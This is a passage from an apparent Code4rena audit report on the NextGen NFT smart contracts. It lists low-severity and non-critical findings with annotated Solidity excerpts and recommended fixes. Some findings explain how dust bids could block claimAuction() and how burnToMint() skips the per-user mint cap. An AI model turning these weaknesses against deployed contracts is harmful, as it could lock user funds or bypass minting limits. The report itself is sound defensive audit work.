    function mintAndAuction(address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime) public FunctionAdminRequired(this.mintAndAuction.selector) {
...
        uint256 collectionTokenMintIndex;
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");
// @audit `collecntionTokenMintIndex` can be used here without `mintIndex`
|>      uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID);
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L281)

Recommendations: In the cases listed, collectionTokenMintIndex can be used directly since only 1 token is minted.

Low - 09 Redundant code: collectionArtistPrimaryAddress status is already checked to be false at the beginning of the function. (Note: Not included in the bot report)

In MinterContract.sol, there are (2) instances where collectionArtistPrimaryAddress[_collectionID].status is rewritten with the same value. These are not included in the bot report.

instances(2):

// smart-contracts/MinterContract.sol
    function proposePrimaryAddressesAndPercentages(
...
        require(
            collectionArtistPrimaryAddresses[_collectionID].status == false,
            "Already approved"
        );
...
// @audit No need for this assignment, since it was already checked to be false;(Note: not included in the bot report)
       collectionArtistPrimaryAddresses[_collectionID].status = false;

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L389)

// smart-contracts/MinterContract.sol
function proposeSecondaryAddressesAndPercentages(
...
        require (collectionArtistSecondaryAddresses[_collectionID].status == false, "Already approved");
...
// @audit No need for this assignment, since it was already checked to be false;(Note: not included in the bot report)
      collectionArtistSecondaryAddresses[_collectionID].status = false;
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L403C3-L403C74)

Recommendations: No need for the assignment here.

Low - 10 getWord() has incorrect implementation and can be simplified

In XDandoms.sol - getWord(), an if statement is used to check whether id==0. However, this check also results in both when id==0 and when id==1 return the same word.

In addition, the if statement can be removed to simply return string[i] and since string[100] is fixed at 100 elements, the input id will between [0,99] to fetch a word.

// smart-contracts/XRandoms.sol
    function getWord(uint256 id) private pure returns (string memory) {
...
        //@audit (1) this different id 0 or 1 will return the same word; (2) for array retrieval, this can be simplified to string[i]
        // returns a word based on index
        if (id == 0) {
            return wordsList[id];
        } else {
            return wordsList[id - 1];
        }
}

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/XRandoms.sol#L28-L31)

Recommendations: To avoid two ids returning the same word, simply use string[i] and ensure input is between [0,99].

Low - 11 Unnecessary storage declaration. (Note: Not included in bot reports)

There are (2) instances where tokenIdCollection is declared and maintained but it's not necessary, since the info can be queried from NextGenCore contract getter.

instances(2):

// smart-contracts/RandomizerRNG.sol
//@audit: tokenIdToColleciton can be queried from core contract getter. no need to declare and write to a new storage mapping
    mapping(uint256 => uint256) public tokenIdToCollection;
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerRNG.sol#L27)

// smart-contracts/RandomizerVRF.sol
//@audit Low: tokenIdToColleciton can be queried from the core contract getter. no need to declare and write to a new storage mapping
    mapping(uint256 => uint256) public tokenIdToCollection;
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L31)

Recommendations: Use the getter from NextGenCore.sol instead of maintaining a separate mapping that is supposed to contain the same data.

Low - 12 Unnecessary if statement in AuctionDemo

In AuctionDemo.sol - returnHighestBid(), a local highBid and index are declared to be assigned in a for-loop. After the for-loop, there is an if statement where auctionInfoData[_tokenid][index].status == true is checked but this is unnecessary since this is already checked in the for-loop.

In addition, instead simply return highBid. Because if the highBid is found in the for-loop, highBid will be returned and if highBid is not found, highBid will remain default 0 and returned. This saves the need of if statement bypass and simplify the process.

instances(1):

// smart-contracts/AuctionDemo.sol
    function returnHighestBid(uint256 _tokenid) public view returns (uint256) {
...
            //@audit unecessary if statement, because (1) there is valid bid in the for-loop, which will set highBid to a non-zero value, and reset index,
            //@audit .status will have already been checked to be ture (2) if no valid bid in the for-loop, .status will be false, highbid will remain default 0.
            if (auctionInfoData[_tokenid][index].status == true) {
                return highBid;
            } else {
                return 0;
            }

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L75-L78)

Low - 13 Risk of dust bidding or an overwhelming number of users bidding in AuctionDemo.sol DOS claimAuction()

In AuctionDemo.sol, dust bidding can be passed in participateToAuction(). When enough dust bidding is passed. It might permanently DOS claimAuction() where for-loop is iterating over every single bid and send refunds to each bidder.

Because claimAuction() is more gas intensive compared to participateToAuction(), when dust bidding is allowed. It's possible that claimAuction() will be DOSsed for the collection. Funds can be stuck in the AucitonDemo contract since there are no methods to recover funds from the owner.

The impact is Medium impact since funds lock and nft transfer can be DOSed. Due to the fact that current participateToAuction() will cause user gas. It will be expansive and rewardless for this vulnerability to be exploited. However, it's still possible for enough users to participate in the auction which overwhelms the contract resulting in claimAuction() DOSsed.

instances(1):

// smart-contracts/AuctionDemo.sol
//@audit dust bidding is possible, to increase the auctionInfoData[_tokenid] to a large size, which might potentially create DOS for claimAuction();
//@audit Also, an overwhelming number of biddings can also DOS claimAuction();

    function participateToAuction(uint256 _tokenid) public payable {
|>      require(
            msg.value > returnHighestBid(_tokenid) &&
                block.timestamp <= minter.getAuctionEndTime(_tokenid) &&
                minter.getAuctionStatus(_tokenid) == true
        );
        auctionInfoStru memory newBid = auctionInfoStru(
            msg.sender,
            msg.value,
            true
        );
        auctionInfoData[_tokenid].push(newBid);
    }

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L58)

Recommendations: (1) Consider setting a minimal bidding cost variable for each collection to prevent large amount of dust bidding, raising the bidding threshold to an appropriate level; (2) Consider separate claimAuction() logics into two or more functions to allow nft transfer, highest bid funds transfer, and other bidders refunds to be done in separate transactions to avoid DOS;

Low - 14 viewMaxAllowance(col) can be easily bypassed by user who mint through burnOrSwapExternalToMint() or burnToMint()

In MinterContract.sol - mint(), viewMaxAlloance(col) is checked to ensure a single user account cannot mint more than allowed for a collection. This is a cap for a single-user account per collection id.

However, this check can be bypassed if the collection id has either burnToMint() or burnOrSwapToMint() enabled where viewMaxAlloance(col) is not checked in those user flows. This is a backdoor minting to bypass viewMaxAlloance(col).

instances(2):

// smart-contracts/MinterContract.sol
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) public payable {
...
// @audit this check ensures that for a single user account, in the public minting phase, one cannot pass the cap `gencore.viewMaxAllowance(col)`. However, this can be bypassed in `burnToMint()` or `burOrSwapToMint()`
            require(
                gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) +
                    _numberOfTokens <=
                    gencore.viewMaxAllowance(col),
                "Max"
            );

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L224)

//  smart-contracts/MinterContract.sol   
function burnToMint(uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o) public payable {
...
// @audit only total supply is checked here, no check on personal cap `gencore.viewMaxAllowance(col)`
        collectionTokenMintIndex = gencore.viewTokensIndexMin(_mintCollectionID) + gencore.viewCirSupply(_mintCollectionID);
        require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_mintCollectionID), "No supply");
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L264-L266)

Recommendation: Enforce the same check on gencore.viewMaxAllowance(col) cap in burnToMint() and burnOrSwapExternalToMint().

NC - 01 registerFuncitonAdmin() will not distinguish two contracts with same funciton selectors, collision of admin might happen which might erode the access control.

In NextGenAdmins.sol - registerFunctionAdmin(), only function selector is used as key to assign function admin address, the contract name or address is not used. When there are two functions that have different contracts have the same function selector, this will create a collision of the admin value if the function admin should be different.

instance(1):

// smart-contracts/MinterContract.sol
    function registerFunctionAdmin(
        address _address,
        bytes4 _selector,
        bool _status
    ) public AdminRequired {
// @audit this doesn't distinguish the same function selector but from two different contracts
        functionAdmin[_address][_selector] = _status;
    }

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenAdmins.sol#L45)

Recommendations: Consider hashing _selector and contact name for the key to avoid potential collision

NC - 02 Unused imports Ownable.sol (Note: Not included in bot report)

There is (1) instance where the import statement of Ownable.sol is used but Ownable is not inherited or used at all.

instance(1)

// smart-contracts/RandomizerNXT.sol
//@audit  Unused import ownable.sol (Note: Not included in bot report)
import "./Ownable.sol";
...
//@audit contract doesn't inherit Ownable 
contract NextGenRandomizerNXT {
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerNXT.sol#L15)

Recommendation: Remove the import statement.

NC - 03 Constructor doesn't need visibility declaration

In AuctionDemo.sol, the constructor is declared with a public keyword, this is unnecessary.

instance(1):

// smart-contracts/AuctionDemo.sol
    constructor(
        address _minter,
        address _gencore,
        address _adminsContract
|>  ) public {
...

(https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L36)